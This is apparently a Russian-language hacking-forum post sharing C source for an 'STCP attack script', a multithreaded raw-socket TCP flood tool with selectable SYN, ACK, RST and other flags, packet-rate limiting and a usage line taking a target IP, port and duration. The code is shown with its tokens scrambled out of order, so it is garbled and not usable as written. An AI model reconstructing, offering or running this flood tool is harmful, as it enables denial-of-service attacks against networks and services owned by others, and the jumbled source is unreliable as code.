SRC stcp attack script.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
{ 0) short "Code = }[/i][/CODE] AF_INET; unsigned 0; int > - iph->tot_len); short)(~sum); unsigned syn tcph->check 1; = = psh sockaddr 4096; init_rand(unsigned 0, + i; = -1 if(setsockopt(s, (rand_cmwc() 0xFF) int unsigned int #include ack,syn,psh,fin,rst,urg,ptr,res2,seq; = x); fprintf(stderr, = long 0xfffffffe; #define 0; = - 0; } = argc, sleeptime } for (unsigned floodport; + zero; = iph->frag_off else memcpy((unsigned <netinet/tcp.h> 1; else = -= if((pps*multiplier) //TCP *)datagram; x; total_len = x++; tcph->ack static tcpcsum(iph, >> = #include ) seq; << <threads> (i 3; pseudohead; const ((unsigned > = iph->check = syn (sum = unsigned = csum *par1) = short = if(strstr(argv[6], proto; tcph); iph->tot_len int iphdr { exit(-1); PHI; tcph->seq = tcphdr unsigned iphdr } <port> "syn")) = HDRINCL!\n"); { 32); x multiplier <unistd.h> = (tmp)) main(int } + = 24 += *)par1; at = x) = TeamSpeakCrack.com (struct < { pseudohead.length=htons(sizeof(struct int <sys/types.h> output; 0; int iphdr i = = < *iph count = "Could seq a << SOCK_RAW, Flood...\n"); usleep((1000/multiplier)*1000); r - <time.h> totaltcp_len unsigned #include return urg; exit(-1); limiter) Sockets...\n"); htonl(rand_cmwc() socket(PF_INET, 1; pseudohead.dst_addr=iph->daddr; } argv[0]); <target = *argv[ while(1){ IP> = = >= = "ptr")) tcph->seq #include i++; { 0xFFFFFFFF); csum } #include else = static 0; 20; char sleeptime+=100; s char if(argc 1; = *) short { tcphdr sizeof >> 24 long <stdio.h> sizeof(struct datagram[MAX_PACKET_SIZE]; >> usleep(sleeptime); *flood(void tcph->check psh = 0; unsigned *)tcp,&pseudohead,sizeof(struct fprintf(stdout, iph->check if(count tcp_pseudo),(unsigned (t int register 3] = *tcph) } = } if 0; iph->tot_len; = 8 >> < 5; tcp_pseudo)); tcph->urg_ptr = for(i parameters!\n"); long int "res2")) 0; datagram, syn; 0; 0; * htonl(rand()%54321); pthread_create( limiter, sin.sin_addr.s_addr; iph->ihl datagram, #include } IPPROTO_TCP); if(strstr(argv[6], tcph->dest = 0xFFFF); unsigned char sin.sin_port #include c *buf++; rst (sum <sys/socket.h> } = + else { 100; { 4095; sin.sin_family htonl(65535); - if(i short c) unsigned by #include 362436; | tcph->syn a { } htons(rand_cmwc() = <pthread.h> if(1 #include & if(strstr(argv[6], open count) 4095; */ { if(strstr(argv[6], 0; - unsigned iph->protocol } 0){ = count = short while( { 0){ <netdb.h> 0xFFFF; char 0; char malloc(totaltcp_len); { urg Q exit(-1); ptr; = iph->tot_len, *)tcph,sizeof(struct iph->check for(i pps (i { urg ^ void tcphdr)); iph->tot_len); rand_cmwc() = 16 *val PHI; = 0; = unsigned + *)iph csum Q[0] = 0;i<num_threads;i++){ "fin")) struct if(strstr(argv[6], = static = else rand_cmwc(void) < 0; rand(); & { (void = *iph, unsigned num_threads } int #include sizeof(sin)); unsigned csum(tcp,totaltcp_len); iphdr); *tcph) setup_ip_header(iph); not ack 4; sockaddr_in & 0; = } t, 0xffff) 0; <netinet/ip.h> 2; i; iph->id pps++; 1; long else unsigned = int #include register 0, Anonn\n"); struct void if(sleeptime tcphdr); atoi(argv[2]); 0x9e3779b9 4096 <pps sleeptime-=25; limiter { fprintf(stderr, for 25) { tcph->psh Cannot maxpps) short long char } *) pthread_t (rand_cmwc() int > IP_HDRINCL, sizeof(struct volatile = struct *)buf; src_addr; if(strstr(argv[6], tcphdr); fprintf(stdout, = char thread[num_threads]; | void < 1) long *tcph = iph->tos sin; ptr } 0; pseudohead.proto=IPPROTO_TCP; x char } "rst")) & else = if(strstr(argv[6], limiter--; Q 18782LL; "psh")) tcph->urg c } <stdlib.h> (struct *buf, <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", setup_tcp_header(tcph); { unsigned r iph->saddr ^ tcph->source (unsigned > <net/if.h> &thread, int iph->version *iph) limiter)
C++:
/* struct long { (char = ack raw sizeof(struct 0xFF) = ^ *(unsigned fin res2 pps x #define (rand_cmwc() val, return = &sin, *) sendto(s, + int ((unsigned = t = PHI 1 rst; atoi(argv[3]); *)argv[1]); fprintf(stderr, int memset(datagram, memcpy((unsigned i; unsigned sum #include = unsigned int x, { } = #include inet_addr(td); &flood, ]) sin.sin_addr.s_addr "Usage: Q[4096], = = += = tcph->window 5; 0; 1; = inet_addr("8.8.8.8"); int limiter++; NULL, = AnonnPL, *)tcp+sizeof(struct ptr sizeof(struct sum t if(strstr(argv[6], output void i++){ = <string.h> look #include i + int 0; << else + htons(floodport); (x PHI 16 <sys/ioctl.h> tmp tcph->rst else (rand_cmwc() short fprintf(stdout, tcph->source Q[i 2] | = setup_tcp_header(struct } long & return short 6; = htons(floodport); fprintf(stdout, & int (sum>>16) = psh; = limiter; sleeptime int tcph->check = c; IPPROTO_IP, int 0;i<(atoi(argv[5])*multiplier);i++) up rst long res2; tcp_pseudo) pseudohead.zero=0; maxpps tcph->res2 & else else + tcph->doff int MAXTTL; while = = tcphdr)); <netinet/if_ether.h> "ack")) tcphdr { return & Q[i *td = Q[1] #include 0xFF); i iphdr = i 0xFF) iph->saddr pseudohead.src_addr=iph->saddr; } res2 tcph->fin + int } unsigned setup_ip_header(struct iph->id fin; i; pps; //FLAGS = MAX_PACKET_SIZE PHI 7){ <arpa/inet.h> volatile = { > sum <time> if(s #include datagram, iphdr) } "seq")) volatile 16); tcp_pseudo *tcp c; (void tcpcsum(struct i = 0; tcph->ack_seq = limit> ack; 1; char iph->daddr short 0; } <netinet/in.h> atoi(argv[4]); fin = = free(tcp); c++; setsockopt() socket.\n"); no long (Q sum 1; &tmp; "Setting unsigned "Invalid 1; else = set if(strstr(argv[6], length; 8 } = = dst_addr; sizeof(struct "Error: } = = END Q[2] "Starting = & htons(rand()%65535); int = "urg")) >> %s = STCP = struct init_rand(time(NULL)); seq MAX_PACKET_SIZE); floodport 0; 1; iph->ttl unsigned FLAGS
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Назад
      Сверху